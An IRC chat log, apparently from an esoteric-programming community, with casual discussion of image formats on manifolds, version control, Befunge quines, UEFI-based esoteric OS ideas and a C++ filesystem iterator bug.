17:31:46 <\oren\> once I finish it I'll put it on my website
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17:35:17 <rdococ> has anyone tried combining bicubic interpolation with nearest neighbor interpolation?
17:36:25 <rdococ> take an image, calculate bicubic interpolation but each pixel takes on the color of its largest influence
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17:45:47 <rdococ> Polygonal vector graphics, maybe, where only flat-sided polygons can be created
17:50:47 <rdococ> Or, a spherical image format where each normalized 3D vector maps to a color.
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18:07:03 <rdococ> I'm working on a specification for a spherical image format, but haven't gone very far yet.
18:07:31 <hppavilion[1]> rdococ: Why spherical and not general 2-manifolds?
18:07:49 <rdococ> I was thinking about extending it to any 3D topology.
18:08:29 <rdococ> Oh. In that case, I mean 2D.
18:08:35 <hppavilion[1]> (Definition: a goxel is any generalized voxel in arbitrarily-many dimensions)
18:09:01 <rdococ> I was speaking about what most people call 3D shapes.
18:09:23 <hppavilion[1]> rdococ: Yeah, it'd usually be in 3-space, but it'd be a 2-manifold unless it had dimensions to it.
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18:09:38 <hppavilion[1]> rdococ: Also a good idea: Animated vector graphics (VIF)
18:09:39 <rdococ> Of course, we could expand it to any dimension.
18:10:13 <rdococ> This reminds me of an idea I had for interpolating low FPS video.
18:13:51 <hppavilion[1]> I'm not sure how they could, but I'm not ruling it out
18:15:02 <rdococ> What else should a spherical image format include?
18:17:20 <rdococ> Additionally, what would a 2-manifold with a quaternion coordinate system look like?
18:17:52 <rdococ> Ah, wait, that's obvious (I think) - a 3-sphere.
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18:24:26 <rdococ> I'll probably also pick or create an equally spherical color model (one based on the 3-sphere, or quaternion coordinates, maybe).
18:28:12 <hppavilion[1]> rdococ: Technically, I don't think manifolds *have* fixed coordinates?
18:29:14 <rdococ> hppavilion[1]: I still imagine you would be able to create coordinate systems for them.
18:29:35 <rdococ> I'm thinking about two-holed toruses right now.
18:31:00 <hppavilion[1]> rdococ: I wonder if there are color spaces that cover larger EM intervals
18:31:55 <rdococ> Well, you could think of the RGB color model as normalized coordinates on a sphere plus a luminance value.
18:32:54 <rdococ> HSL coordinates might be representable using quaternions.
18:33:10 <rdococ> Yeah, they probably would.
18:36:17 <hppavilion[1]> rdococ: Octarine, of course, has the RGB code ~rgb(0, 0.866+0.5i, 0.866+0.5i)
18:37:32 <rdococ> Ooh, imaginary colors.
18:37:40 <zzo38> I don't know what one
18:37:41 <rdococ> Or, in this case, complex colors. :P
18:38:25 <rdococ> One more thought: is there a fractional dimension with exactly 2 planes of rotation?
18:38:46 <zzo38> I don't know that either
18:43:29 <rdococ> Interestingly, dimension n has the nth triangle number of planes of rotation.
18:47:19 <rdococ> Found the dimension for 2 planes of rotation.
18:53:16 <rdococ> Still not sure about how to approach coordinate systems for genus-n surfaces, though.
18:56:32 <\oren\> well, a coordinates sytem is the same as a diffeomorphism to/from R^n
18:57:59 <\oren\> there are manifolds that can't be mapped smoothly with one chart
18:58:53 <rdococ> A good coordinate system for a sphere's surface would be normalized 3D coordinates.
18:58:58 <rdococ> That's what my SIF file format uses.
18:59:06 <\oren\> But actually, a torus can be mapped smoothly, which is why the world is a torus in a lot of games
18:59:23 <rdococ> A torus' surface can easily be mapped with 2D coordinates.
18:59:31 <\oren\> rdococ: right, you can use three coordinates to get a smooth map
18:59:52 <rdococ> I'm still trying to figure out what the best coordinate system for a genus-two surface would be.
19:01:03 <rdococ> You could interpret the two coordinates commonly used for toruses and convert them to normalized 3D coordinates - it would be the opposite of converting normalized quaternions into 3 dimensional vectors for better storage.
19:02:15 <rdococ> So the origin would be (0, 0, 1), the opposite point to the origin (which would be 180 degrees horizontally from it) would be (1, 0, 0), while the opposite point 180 degrees vertically would be (0, 1, 0).
19:03:36 <rdococ> If both a sphere and a torus can be mapped smoothly through a normalized 3D coordinate system, can a genus-2 surface be too?
19:17:53 <rdococ> Of course, there is a difference between the two coordinate systems. In a sphere, (0, 0, 1)'s antipodal point is (0, 0, -1). But on a torus, (0, 0, 1)'s inverse point would be (1, 0, 0).
19:18:25 <rdococ> Which reminds me of the difference between complex numbers and quaternions.
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19:50:32 <rdococ> Now I'm working on a normalized 3D coordinate system for a torus.
19:51:14 <rdococ> x = a + bi + cj, where i^2 = j^2 = -1 = 1, jii = iji = iij = j, and ijj = jij = jji = i.
20:17:06 <int-e> GRRRRRRRRRRRRRRRRRRRRRRRR hg's "resolve" subcommand *always* trips me up
20:17:29 <int-e> why isn't there a separate command for resolve --mark
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20:20:03 <int-e> Yes. I prefer git. I'm much more familiar with git's pitfalls than with mercurial's.
20:21:03 <shachaf> I feel like I ought to prefer hg because it's probably better.
20:21:03 <int-e> (There, that should allow me to stay out of the ensuing flame war. Just give me a moment while I fetch popcorn.)
20:21:07 <shachaf> But in practice I prefer git.
20:31:51 <shachaf> Is fossil good for large repositories?
20:32:49 <zzo38> I believe it works even for large repositories. But, how large do you expect anyways?
20:33:11 <int-e> shachaf is a big fan of all-in-one-repository code management
20:33:49 <int-e> "One Big Repository"
20:34:07 <int-e> I find it outlandish.
20:34:15 <shachaf> int-e: Yes, the more certain people argue for alternatives, the more I see the light.
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20:34:27 <shachaf> It's so much better than having lots of small repositories, if you can get away with it.
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20:35:08 <zzo38> The limit is the limit of SQLite, which is 140 terabytes.
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20:35:49 <zzo38> (Assuming that the file system you are using supports files that large, and you have enough disk space.)
20:36:10 <shachaf> int-e: Why do you find it outlandish?
20:36:25 <shachaf> zzo38: Well, it should have good support for actually using the repository.
20:36:26 <int-e> shachaf: Because I'm not working at a big company with many connected software projects.
20:36:33 <shachaf> Oh, sure, then you shouldn't use it.
20:37:26 <int-e> shachaf: I think "outlandish" is the perfect adjective to describe this feeling.
20:37:53 <shachaf> Ah, I think I misinterpreted the word "outlandish" until now.
20:38:07 <zzo38> I find it is easily usable; the commands used commonly are easily enough, the installation is very simple, and there is even the server and UI included (both optional features) if you need them. (You do however need a web browser to use the UI, although you can do everything from the command-line too.)
20:38:31 <shachaf> zzo38: For example it should have support for not cloning the entire repository, but only the parts you actually need.
20:39:12 <shachaf> int-e: maybe you should go work at Google for a bit hth
20:39:18 <olsner> I don't like the one big repo idea, I prefer one small repo
20:39:31 <shachaf> olsner: Obviously that's the best option.
20:39:35 <zzo38> It doesn't seem to do that (although I have wanted that kind of stuff too), although the repository is a single file.
20:40:44 <olsner> maybe I should work for google to see if it's anything like I imagine (I have seen some of the google bizarro-world leaking through the chromium project though)
20:41:15 <zzo38> The "fossil clone" command clones a repository, from a local file, a HTTP or HTTPS server, or a SSH server.
20:42:28 <zzo38> (Note that I have never used this command, though.)
20:47:37 <int-e> shachaf: I guess https://git.gnome.org/browse/ could also be one big repo, in principle.
20:47:58 <shachaf> int-e: Did you read the ACM article Google published about it?
20:48:12 <shachaf> https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext
20:49:03 <shachaf> Many of the benefits of this model have to do with other things they do, like not version libraries.
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22:52:46 <\oren\> https://www.youtube.com/watch?v=RQfhGNur57E
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23:12:56 <HackEgo> terminal symbol//A terminal symbol is a terminal condition that makes your parser die eventually. Consult your linguist for medical advice.
23:14:06 <shachaf> all signs point to yes^H^H^Hthe terminal symbol
23:17:29 <boily> helloochaf. nihilist 8ball.
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04:35:14 <zzo38> Where do I find some good JPEG library like LodePNG is for PNG, but one that is for work with JPEG instead?
04:35:18 <ais523> I just improved the record for the shortest non-cheating Befunge-98 quine by 2 or 3 bytes (depending on how exactly you define cheating): ` 'k<@,k␇` (explanation: https://codegolf.stackexchange.com/a/117555/62131)
04:35:50 <ais523> (that last character is a literal ctrl-G)
04:35:53 <zzo38> (Or, if someone else know to wrote one.)
04:36:19 <ais523> however, it depends a lot on some bizarre edge-case behaviour of the `k` command, and I'm not quite sure if it's correct/undef/broken (Vorpal? Deewiant?)
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04:49:45 <alercah> ais523: my interpretation of k' is "pop the stack, push the next n characters and skip them"
04:50:09 <ais523> what does it do if it wraps around the edge of the program, though?
04:50:16 <ais523> cfunge appears to see one space when that happens
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04:50:57 <ais523> at least if there are no actual spaces in the path, or if there's one space at an end of the program (as seen here)
04:51:17 <ais523> FBBI does something else but I'm not entirely sure what (it's hard to test as failed tests tend to cause infinite loops that leak memory)
04:51:29 <alercah> ais523: it should use funge-98 wrapping
04:51:46 <ais523> I know, but I'm not sure that's fully defined wrt the edge of the program
04:51:53 <ais523> in string literals it doesn't matter because consecutive spaces are merged
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04:52:13 <ais523> but with `'` and `#` and friends the details do matter; IIRC Mycology has a test for this, but it's UNDEF because it's ill-defined
04:52:35 <alercah> my reading is that it's *specifically* when the IP enters the whitespace
04:53:05 <ais523> I agree on your general description of what `k'` does, though (although it pushes the apostrophe first, that's just typical `k` weirdness that's predictable when you know about the other cases of `k` weirdness)
04:53:47 <alercah> ais523: yes, right, the apostrophe does get pushed
04:54:03 <alercah> I think what happens with ' is that a space gets pushed, then the IP goes off the edge, so it wraps around to the other end
04:54:09 <alercah> in this fashion it will actually skip the character at the other end
04:54:48 <alercah> so I think your quine doesn't work per spec
04:57:52 <ais523> I'm not sure what you mean by that, but I'd be surprised if any non-whitespace characters in the program didn't get pushed
04:58:05 <ais523> it works in cfunge, anyway, so if it's non-spec-compliant, cfunge will probably have to be changed
04:58:39 <alercah> - load the character at (position + delta) onto the stack
04:58:47 <alercah> - position = position + delta
04:59:27 <alercah> the wrapping behaviour says
04:59:55 <alercah> "When the IP attempts to travel into the whitespace between the code and the end of known, addressable space... it finds the other 'edge' of code when there is again nothing but whitespace in front of it. It is reflected 180 degrees once more"
05:00:08 <alercah> so it travels to the ^G at the end, but then stops and is reflected
05:00:17 <alercah> it resumes execution of the next ', causing it to push k and skip past it
05:00:54 <alercah> you could probably avoid this by extending the program slightly?
05:06:39 <ais523> moving the leading space to the end of the program would possibly be enough under the rules you describe
05:07:43 <ais523> as far as I can see, your argument is that the IP must always be within the non-whitespace-bounded version of the playfield
05:08:02 <ais523> thus the ' command can only see spaces in front of the non-whitespace-bounded version of the playfield (and thus can never see the first character on a line)?
05:08:53 <ais523> I'm not sure that was the intention, but it's a plausible argument
05:10:16 <alercah> yeah, that's my reading of it
05:11:02 <alercah> I think that the correct behaviour would actually be to regard the wrapping as applying to any form of offset, however, so then ' would always wrap
05:11:24 <alercah> meaning the leading space would not be needed except possibly for alignment
05:11:28 <ais523> which means that the program would then not need the space at all
05:11:49 <ais523> although then it'd cease to be a quine under PPCG's proper quine rules (which IMO are buggy and lead to a lot of unintended effects)
05:19:32 <ais523> PPCG requires at least one character in the output to have its value derived from something other than the corresponding character in the input
05:19:44 <ais523> to avoid trivial solutions like `1234` (which works in a lot of languages)
05:27:26 <alercah> how is that true with your current version?
05:28:00 <ais523> the space at the start is generated by cfunge implicitly while wrapping
05:28:03 <ais523> rather than quoting itself
05:37:28 <alercah> I wonder if you could exploit my version of the behaviour to let you get around it
05:39:45 <alercah> notwithstanding alignment issues that might result from the length changing
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06:07:30 <ais523> another possibility would be to write the program as a palindrome and read the string in the other direction
06:07:40 <ais523> but I think that'd be considerably longer even if you could reuse the `k`s
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06:17:17 <Deewiant> @tell ais523 I'm pretty sure I disagree with what cfunge does here, in a 32-bit Funge-Space there are some 2^31 - 7 spaces that that k' sequence would have to push before reaching the ^G on the other side. I.e. I don't think ' should wrap around while it's executing, whether that's via k or not.
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07:24:17 <rdococ> I don't think many surfaces in video games are genus-two surfaces.
07:24:39 <rdococ> I still want to find a good coordinate system for them nevertheless.
07:41:22 <oerjan> "The Bolza surface is the most symmetric Riemann surface of genus 2." sounds promising.
08:03:06 <rdococ> I was also working on a three-dimensional space for a torus.
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08:22:38 <HackEgo> Eric Steven Raymond's Beard
08:23:02 <oerjan> `learn ESRB is short for Eric Steven Raymond's Beard.
08:23:06 <HackEgo> Relearned 'esrb': ESRB is short for Eric Steven Raymond's Beard.
08:25:12 <oerjan> <rdococ> Well, I've somehow ended up designing my own map projection. <-- now you just need to get User:Strebe to feature it on wikipedia
08:26:00 <oerjan> (ok, there are a few intermediate steps, like that notability thing.)
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13:44:59 <orby> ais523: mornin'
13:45:41 <orby> Do you know if anyone is still interested in working on an esoteric OS?
13:45:52 <orby> I saw the page on it and it struck me as a fun idea
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13:49:10 <ais523> it's one of those things that keeps stalling out because nobody wants to figure out the details
13:49:20 <ais523> it'd probably work better as a solo project than a group project
13:51:25 <orby> I've got some experience writing bootloaders and simple kernels. Do you know if there are any esoteric languages on the wiki that would be suitable for low level system programming?
13:52:04 <orby> I think an esoteric OS should be written in an esoteric language :)
13:52:43 <ais523> most esolangs are defined independently of the hardware they're on, i.e. they're "portable"
13:52:50 <ais523> that's not really what you want to write an OS
13:53:11 <ais523> I guess you could write a Funge-98 fingerprint that gave access to low-level system operations
13:53:45 <orby> I'll have to read up on funge
13:55:21 <orby> it'd probably be easiest to use an existing bootloader like grub and just compile some existing language to an elf binary
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14:22:42 <ais523> you could use efi as the bootloader
14:23:03 <ais523> most systems have it nowadays, and it runs what are basically .exe files (although with a very different "standard library" from the typical .exe file)
14:23:28 <ais523> although it's a pretty powerful standard library, containing things like filesystem access code and GUI primitives
14:24:03 <ais523> this is the bootloader that windows 8+ uses as standard, and is also normally used to chain-load GRUB on Linux (Linux can use it directly too, but that's a less common setup)
14:25:51 <orby> That's an interesting idea. I've looked at uefi for other projects in the past. The functions that uefi makes available make it seem like you could write an entire OS that just makes uefi calls, but I remember running into issues with that idea
14:26:00 <orby> though unfortunately I can't remember exactly what those issues are
14:26:37 <orby> there is a uefi call you make to go into "os mode", which basically tells uefi that you're going to be taking full control of the hardware
14:26:58 <orby> previous to that, you're not supposed to be mucking around with any ram that hasn't been specifically allocated by the uefi calls, etc.
14:27:24 <orby> maybe it would be suitable in this case, i'd have to read up on it again
14:27:28 <b_jonas> I think there's already at least one esoteric OS: that tiny one written in C for one of the IOCCCs.
14:27:51 <orby> b_jonas: do you have a link?
14:30:01 <orby> ah, found it http://www.ioccc.org/2004/gavin.hint
14:30:10 <b_jonas> orby: http://www.ioccc.org/years-spoiler.html#2004_gavin
14:30:18 <orby> cool, thanks :)
14:34:28 <orby> multiboot is a much simpler standard that uefi and is well supported by grub, I think that might be an easier starting point. maybe a kernel written in an esoteric subset of x86 :)
14:36:11 <b_jonas> orby: that one is from 2004. they didn't have multiboot back then. at least not well-supported.
14:37:07 <orby> *shrugs* I do not know. multiboot has been around for a while but has gone through some major changes
14:41:56 <orby> maybe a good starting project would be a self-hosting esoteric x86 assembler. supporting a sub opcode and jne should be sufficient in theory.
14:43:01 <orby> a couple others for low level os stuff, lgdt, etc.
14:45:05 <ais523> writing an esolang compiler to target EFI (or an esolang interpreter that runs on EFI) seems like an arguably productive goal even if we don't use it for a bootloader
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14:57:01 <Phantom_Hoover> i've never seen a concept for an esoteric OS that really grabbed me
14:57:15 <Phantom_Hoover> most of them were just "run an esolang straight off the bootloader"
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14:58:17 <Phantom_Hoover> i mean the point of an OS is to build up abstractions over hardware and most esolangs eschew abstraction
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16:17:15 <rdococ> Phantom_Hoover: how about hardware that natively runs Haskell, and then the OS builds up anti-abstractions?
16:17:56 <Phantom_Hoover> anti-abstraction's pretty easy right, it's just simulation?
16:18:38 <rdococ> programs written in an assembly language running on a Haskell emulator, which itself is running on hardware
16:19:06 <rdococ> or we could nest it: programs written in an assembly language running on a C++ emulator running on a Haskell emulator
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16:27:02 <hppavilion[1]> rdococ: I find myself making a more accurate translation of the old German national anthem with all the propoganda stripped
16:27:33 <hppavilion[1]> (as in, all the Allied propaganda inserted into the translation. Not the propaganda in the original lyrics, those get preserved)
16:28:10 <rdococ> hppavilion[1]: make versions of the ads you see on tv, but make them brutally honest
16:28:44 <hppavilion[1]> rdococ: Germany, Germany it's my favorite / it's my personal favorite in the world!
16:30:33 <orby> ais523: an esolang interpreter that runs on efi sounds like a great idea and could be an integral part of an esoteric os
16:30:59 <rdococ> hppavilion[1]: imagine hardware that natively runs something like Haskell
16:32:00 <rdococ> okay, what about Prolog
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17:32:49 <rdococ> Imagine an assembly language with an additional instruction, DCS, which doubles the clock speed.
17:33:26 <rdococ> Now, if you use an infinite loop to perform the DCS a countably infinite number of times, what is the clock speed - is it countable or uncountable?
17:33:44 <rdococ> I think it's uncountable, but I want to hear other opinions.
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17:37:52 <HackEgo> P is the complexity class of Problems. They can be solved by reduction to NP.
17:38:37 <\oren\> I recently figured out that in order for ps to actaully print out all the info you have to do
17:40:30 <\oren\> ps -l isn't enough apparently
17:42:59 <\oren\> "countable" applies to sets, not numbers
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17:46:31 <\oren\> so suppose we use BF and have the D instruction. The program you're proposing is +[D].
17:48:18 <\oren\> The result depends on semantics
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17:50:27 <\oren\> can the BF machine detect that it has "finished" the infinite loop and therefore exit it?
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17:53:46 <rdococ> "for (i = 1, countable infinity) { double clock speed }" in pseudo code would work
17:53:55 <\oren\> now it gets more interesting if we equip the BF machine with the / (divide by two) and * (multiply by two) instructions.
17:54:51 <rdococ> +[+] in Super-TC BF would yield countable infinity while +[*] would yield uncountable infinity
17:55:17 <\oren\> +[D/] would indeed exit because the cell's value approaches 0 as the clock speed aprroaches infinity
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17:56:36 <\oren\> rdococ: no, multiplying countable infinity by two is still countable infinity
17:57:01 <\oren\> Read about the Hilbert Hotel
17:57:07 <rdococ> \oren\: the way I see it, multiplication by two n times is equal to 2^n, so 2^countable infinity is uncountably infinite
17:57:25 <rdococ> that's why I suggest that it's uncountable
17:57:33 <orby> I think rdococ may be right
17:57:56 <rdococ> +[D>*</] would set cell 0 to 0 and cell 1 to (either countable or uncountable) infinity, but it will halt.
17:58:23 <rdococ> since I forgot to initialize cell 1
18:00:51 <rdococ> Hm, but does a +[D/] loop end in countably, or uncountably infinite steps?
18:01:14 <rdococ> Since we're dividing by 2, the result is 2^-n.
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18:03:15 <rdococ> hppavilion[1]: hi again.
18:03:39 <rdococ> We're talking about a hypothetical BF extension which adds an instruction D, which would double the clock speed.
18:04:15 <rdococ> I'm pondering whether +[D/] | where / divides the current cell by 2 | ends in a countable, or uncountable, number of steps.
18:05:10 <rdococ> . o O (countable infinity modulo arithmetic)
18:08:02 <rdococ> Meh, you're probably right.
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18:27:26 <hppavilion[1]> The number of steps being countable means that you can put each step (which we'll just represent as the whole tape to indicate the changes made) in a list where the state at each and every step can be found at some finite index
18:27:48 <hppavilion[1]> Sequential programs like this are pretty easy to order: Every time you run a command, add the current tape to the end of the list
18:28:14 <rdococ> hm. So +>+<[D>*</] does end after a countable number of iterations - but what is the value of the second cell?
18:28:56 <rdococ> I'm gonna say uncountable infinity.
18:50:16 <ais523> rdococ: doubling a nonzero integer countably infinitely many times gives you an uncountable value (specifically, aleph-1)
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18:54:31 <rdococ> ais523: yes, I am aware of that
19:20:50 <orby> ais523: Do you know if virtualbox (or any other free virtualization solution) supports uefi?
19:21:03 <ais523> orby: I don't, but it wouldn't surprise me at all
19:21:10 <ais523> given that supporting uefi is needed to run modern versions of Windows
19:21:20 <orby> I'm going to play around with the example at http://x86asm.net/articles/uefi-programming-first-steps/ and start working on a uefi bf bootloader
19:21:27 <orby> I seem to recall that virtualbox does
19:21:40 <orby> then we can write a kernel in bf :)
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19:37:29 <orby> ais523: beaten to the punch https://gist.github.com/alphaKAI/b9aaa0f693e7498f8a5e
19:38:12 <orby> but that one doesn't load a file, it takes the bf program as an argument
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20:35:11 <izabera> https://i.imgur.com/Q7LRkRQ.mp4
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21:14:25 <shachaf> lynn: i,i http://dmitry.gr/index.php?r=05.Projects&proj=07.%20Linux%20on%208bit
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22:25:07 * Zarutian bets that hppavilion got a keyboard lock on or off
22:27:17 <ais523> well it obviously wasn't caps lock (it might be now, last few lines were in allcaps)
22:27:21 <ais523> and scroll lock probably wouldn't matter
22:27:26 <ais523> num lock? keyboard layout setting?
22:37:16 <shachaf> Keybord layout seems plausible.
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23:55:57 * hppavilion[1] . o O ( If x squared is x*x, then x equilaterally triangled must be x*x*sqrt(3)/4 )
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00:02:51 <DHeadshot> hppavilion[1]: That's something for a quote database!
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01:28:21 <fizzie> I was thinking decagon : dodecagon :: decadent : dodecadent.
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02:01:44 <fizzie> shachaf: Here's a scow thing -- how do you use gflags for a busybox-style multi-binary? I guess you just don't.
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02:02:16 <shachaf> fizzie: Well, for a binary like apt-get or bazel you might have shared flags.
02:02:45 <fizzie> I'm thinking more of something like a hypothetical "file"-related "util"ity.
02:03:44 <fizzie> Or I guess 'git' as well.
02:03:45 <shachaf> What's the concern? That different sub-binaries might have flags with the same names but different types or meaning?
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02:05:06 <fizzie> Well, getting reasonable help/usage messages out might be some sort of a thing. And I think I'd like it to be not okay to specify the "local" flags before the subcommand.
02:05:55 <shachaf> I guess you would need a different library which parameterizes flags on a binary name or some other configuration option.
02:06:10 <shachaf> But that library doesn't have to be fundamentally different from gflags, only slightly different.
02:06:40 <shachaf> There are plenty of programs that use gflags and also have subcommands -- surely some of them have this issue?
02:06:52 <fizzie> I found this related thread when browsing around https://github.com/gflags/gflags/issues/57 as well.
02:06:58 <shachaf> One person's objection to gflags was that it encourages you to design bad command line user interfaces.
02:07:03 <shachaf> Which I guess is what you mean here.
02:09:44 <fizzie> I'm a little ambivalent, since I like some of the bits, and using gflags in a Bazel-based thing is so easy. Maybe if I just have handcrafted help messages for the subcommands. I mean, I think "git --help foo" does actually print out the man page instead of any sort of programmatically created thing.
02:10:55 <fizzie> (Separate binaries is of course an option too.)
02:12:24 <shachaf> Doesn't git actually have separate binaries?
02:12:39 <shachaf> Where "git foo ..." just runs "git-foo ..."
02:13:33 <fizzie> I'm not entirely sure. At least ls -l /usr/lib/git-core/ produces an arbitrary mixture of separate binaries and symlinks.
02:14:19 <shachaf> But a long time ago it was all separate binaries maybe?
02:15:16 <shachaf> Anyway using one binary might make sense if you're in an environment where you're statically linking a large amount of code.
02:15:53 <fizzie> I guess "/usr/bin/git foo" might always run /some/other/git-foo, and the sharing of a binary is just a(nother) implementation detail.
02:16:30 <shachaf> Maybe you should use xflags instead.
02:16:51 <fizzie> "Xflags is a company that creates hanging car flags."
02:17:32 <fizzie> I also found this enlightening document: https://developer.apple.com/reference/kernel/gz_header/1546841-xflags
02:18:23 <fizzie> Looks like the thing you likely meant isn't focused on SEO. Also, I think I might've seen this before.
02:18:25 <shachaf> This thing: https://github.com/mortehu/xflags
02:18:44 <shachaf> But the Apple document is pretty good.
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07:27:52 * hppavilion[0] . o O ( Kleene algebra with inverse elements for addition and multiplication )
07:47:59 <rdococ> I still think Mercator is a little underrated.
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09:06:21 <zzo38> Am I the only who implemented the X resource manager in JavaScript? I cannot find any others.
09:08:22 <zzo38> Generator functions make the implementation of the search list to be very simple compared to a C code.
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09:09:37 <zzo38> Also, unique quarks are implemented without having to add any extra code to support it. (Use the built-in JavaScript function Symbol() to create a unique quark.)
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09:15:52 <zzo38> (Also, my implementation is only 3003 bytes long; with the ability to load, save, get resources, put resources, and merge databases, with or without overwrite. All of the tests pass.)
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09:32:18 <hppavilion[0]> "The flamboyant cuttlefish is less buoyant than most cuttlefish species, due to its reduced cuttlebone."
09:33:14 <zzo38> O, I didn't know that
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10:26:28 <HackEgo> Violation is the act of playing an instrument in the viola family.
10:30:46 <shachaf> what's a segmentation violation?
10:31:14 <oerjan> that's when you play so hard part of it falls off
10:39:35 <oerjan> `learn Dodecadent means decadent, but in a Platonic way.
10:39:39 <HackEgo> Learned 'dodecadent': Dodecadent means decadent, but in a Platonic way.
10:43:41 <shachaf> do you like dynkin diagrams?
10:44:05 <oerjan> i don't have much relationship with them.
11:04:25 <oerjan> today's xkcd goes well with a plate of chihuahua.
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11:45:46 <HackEgo> maths//Maths stands for Mathematical Anti-Telharsic Harfatum Septomin.
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13:08:14 <HackEgo> Maths stands for Mathematical Anti-Telharsic Harfatum Septomin.
13:08:23 <Taneb> How many entries are there for with and without the -s
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13:48:15 <Jafet> `` cd wisdom && echo *s
13:48:17 <HackEgo> 6 random numbers abyss all the tropes ambiguous ananas b_jonas brontosaurus chaos chess chuck norris cls comics complexity class css culprits dingas fentimans for further details glados glass hambiguitous hand injuries hfs hippothalamus inverness jesus lens links logs lystrosaurus madness magnus magus maths mipis mips monads monoids neoletters numb
13:48:34 <Jafet> `` cd wisdom && ls *s
13:48:36 <HackEgo> 6 random numbers \ abyss \ all the tropes \ ambiguous \ ananas \ b_jonas \ brontosaurus \ chaos \ chess \ chuck norris \ cls \ comics \ complexity class \ css \ culprits \ dingas \ fentimans \ for further details \ glados \ glass \ hambiguitous \ hand injuries \ hfs \ hippothalamus \ inverness \ jesus \ lens \ links \ logs \ lystrosaurus \ madness
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13:51:56 <HackEgo> Cars look both ways before Chuck Norris crosses the street.
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16:47:25 <rdococ> . o O ( people are misguided when they fuss over "circle constants". )
16:47:31 <rdococ> . o O ( also, eta ftw )
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16:51:15 <rdococ> what do you think of circle constants?
16:52:45 <rdococ> heck, I even saw a concept for a fourth, it was also greek
16:53:30 <rdococ> eta. it's equivalent to 1/2 pi = 1/4 tau
16:53:42 <rdococ> it's the one I prefer, because it's angular i
16:54:01 <rdococ> agreed, it's ridiculous
16:54:59 <rdococ> all of these symbols would be better off in conlanging creating another esoteric linguistic language.
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17:51:17 <\oren\> why not use pi/180 = degrad as the circle constant
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17:52:09 <\oren\> you can use ° as the symbol for it
17:52:56 <\oren\> the circumference of a circle with diameter d is d*180°
17:53:49 <\oren\> the area of a circle with radius r is 180°r²
17:54:49 <\oren\> and of course, the angles in a triangle add up to 180°
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18:12:51 <izabera> no opensource faceapp clone yet?
18:19:32 <int-e> promising headline, https://www.washingtonpost.com/news/the-intersect/wp/2017/04/26/everything-thats-wrong-with-faceapp-the-latest-creepy-photo-app-for-your-face/ (have not read it yet, but I have taken the bait)
18:24:54 <Taneb> Is this better or worse than the "sends every single detail about your phone to a mysterious IP in China"
18:25:47 <int-e> izabera: if that was a serious question I'll label you a terrible person.
18:26:26 <\oren\> https://www.youtube.com/watch?v=Te7Ki1mKweA
18:26:35 <int-e> Taneb: it's different?!
18:28:08 <\oren\> What's wrong with applying Chinese beauty standards to african-americans
18:29:26 <izabera> Taneb: does that not happen with literally every other app?
18:29:28 <\oren\> https://twitter.com/nohwayineve/status/857181133276098560
18:30:29 <\oren\> mark zuckerberg becoming female. and then more female. and more... AAAAAAAAAAAAAAAAAA
18:52:04 <\oren\> https://8values.github.io/results.html?e=62.2&d=39.1&g=47.8&s=67.6
19:07:14 <rdococ> https://8values.github.io/results.html?e=73.1&d=70.5&g=76.6&s=78.9
19:07:23 <\oren\> there should be a version of this that creates a Stellaris civ
19:07:31 <rdococ> I'd say it fits me pretty well.
19:07:43 <rdococ> "Closest Match: Libertarian Socialism"
19:08:02 <\oren\> argh, why is everyone more pacifist than me
19:08:50 <rdococ> well, I'm too pacifist to hate anyone for not being pacifist
19:09:32 <rdococ> I'm kinda being serious there
19:13:40 <\oren\> look I just want to force asshole countries to treat their people better
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21:18:40 <\oren\> http://www.huffingtonpost.co.uk/entry/ukip-glasgow-gorillas-gay_uk_58fcc13ee4b018a9ce5c09e0
21:18:49 <\oren\> "Ukip Candidate Compares Her Sexual Attraction To Gorillas To Being Gay"
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22:16:55 <fizzie> I've been trying out this std::experimental::filesystem library I found in my GCC, and can't figure out what's going on here: http://sprunge.us/jHeR
22:20:06 <\oren\> fizzie: perhaps != isn't defined nicely
22:20:31 <fizzie> That's how the range-based for loop is defined.
22:20:46 <fizzie> Though admittedly it technically calls end() just once.
22:21:15 <Phantom_Hoover> i admittedly know nothing about c++ iterators except from seeing them used in code a few times
22:22:03 <fizzie> I'm not a huge fan, but it is what it is.
22:22:16 <Phantom_Hoover> why would you do it that way rather than just '!thing.finished()'
22:22:35 <fizzie> Because it must be compatible with raw pointers, I guess.
22:22:39 <\oren\> what happens if you call path.end() once
22:22:55 <fizzie> \oren\: Doesn't seem to make a difference.
22:24:01 <\oren\> what does && mean anyway? it's one of those new c++14 things right
22:25:04 <fizzie> It's an rvalue reference, but I'm not going to pretend I could explain it intelligibly.
22:25:20 <\oren\> ok, so it is a reference
22:25:57 <fizzie> Anyway, http://sprunge.us/LhdV is what an online reference says the equivalence for a range-based for loop is.
22:26:07 <fizzie> I guess I'll try to do something even closer than that.
22:27:52 <fizzie> Oh. Well, that's just great.
22:28:13 <\oren\> they probably didn't implement iter++ properly
22:28:29 <fizzie> And why would they, only non-C++ plebs would dream of calling it.
22:29:11 <\oren\> yes, why would anyone have a variable called C and increment it with C++
22:31:30 <\oren\> I don't get why the post increment isn't just automatically generated from the pre-increment
22:32:59 <fizzie> Looks like it's an inline iterator operator++(int) { auto __tmp = *this; ++_M_cur; return __tmp; } for the postfix version.
22:34:50 <fizzie> No. I'm guessing at some point it was enough to do ++_M_cur but now it needs something more. (The prefix ++ is just a declaration, I don't have the sources of the library.)
22:36:01 <fizzie> Well, it did have "experimental" right there in the name.
22:44:39 <int-e> fizzie: https://github.com/gcc-mirror/gcc/blob/master/libstdc%2B%2B-v3/include/experimental/bits/fs_path.h#L1023-L1038
22:45:29 <\oren\> fizzie: you can submit a patch
22:46:16 <int-e> (turns out it is defined in the header file after all)
22:46:40 <Phantom_Hoover> i thought you couldn't/weren't supposed to have code in a header file
22:46:44 <fizzie> int-e: Yeah, I didn't look too far down.
22:47:21 <fizzie> No, that's probably template metaprogramming.
22:47:28 <int-e> and that code indeed suggests that it will fail for paths that only have a single component, like "foo"
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22:49:09 <fizzie> int-e: I guess it's some sort of an optimilization, if there's only one component it doesn't do a list of them and therefore there's no iterator to increment, there's just a boolean flag.
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22:53:44 <fizzie> (Though looks like it's been like that since the initial commit 5924b28, two years ago.)
22:56:51 <int-e> they should rename C++ to ++C
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00:02:25 <HackEgo> isomorphism//Isomorphism is isomorphic to Phantom_Hoover up to isomorphism.
00:03:44 <HackEgo> `learn//`learn creates a wisdom entry and tries to guess which word is the key. Syntax (case insensitive): `learn [a|an|the] <keyword>[s][punctuation] [...]
